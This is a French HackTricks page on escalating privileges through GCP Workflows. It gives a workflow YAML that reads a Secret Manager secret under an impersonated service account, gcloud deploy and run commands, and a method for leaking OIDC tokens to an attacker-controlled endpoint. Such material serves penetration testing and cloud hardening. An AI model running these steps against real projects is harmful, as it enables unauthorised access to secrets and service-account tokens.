GCP - Workflows Privesc

Support HackTricks

Workflows

Informations de base :

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

À ma connaissance, il n'est pas possible d'obtenir un shell avec accès à l'endpoint de métadonnées contenant les identifiants de service (SA) du SA attaqué à un Workflow. Cependant, il est possible d'abuser des permissions du SA en ajoutant les actions à effectuer à l'intérieur du Workflow.

Il est possible de trouver la documentation des connecteurs. Par exemple, voici la page du connecteur Secretmanager. Dans la barre latérale, il est possible de trouver plusieurs autres connecteurs.

Et ici, vous pouvez trouver un exemple de connecteur qui imprime un secret :

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

Mise à jour depuis la CLI :

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Si vous obtenez une erreur comme ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist, il suffit de patienter une minute et d'essayer à nouveau.

Si vous n'avez pas accès au web, il est possible de déclencher et de voir l'exécution d'un Workflow avec :

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Vous pouvez également vérifier la sortie des exécutions précédentes pour rechercher des informations sensibles.

Notez que même si vous obtenez une erreur comme PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... parce que vous n'avez pas cette permission, le workflow a été généré.

Fuite du token OIDC (et OAuth ?)

Selon la documentation, il est possible d'utiliser des étapes de workflow qui enverront une requête HTTP avec le token OAuth ou OIDC. Cependant, tout comme dans le cas de Cloud Scheduler, la requête HTTP avec le token Oauth doit être envoyée à l'hôte .googleapis.com.

Par conséquent, il est possible de fuir le token OIDC en indiquant un point de terminaison HTTP contrôlé par l'utilisateur, mais pour fuir le token OAuth, vous auriez besoin d'un contournement pour cette protection. Cependant, vous pouvez toujours contacter n'importe quelle API GCP pour effectuer des actions au nom du SA en utilisant soit des connecteurs, soit des requêtes HTTP avec le token OAuth.

Oauth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Avec cette permission au lieu de workflows.workflows.create, il est possible de mettre à jour un workflow déjà existant et d'effectuer les mêmes attaques.

Soutenir HackTricks

Last updated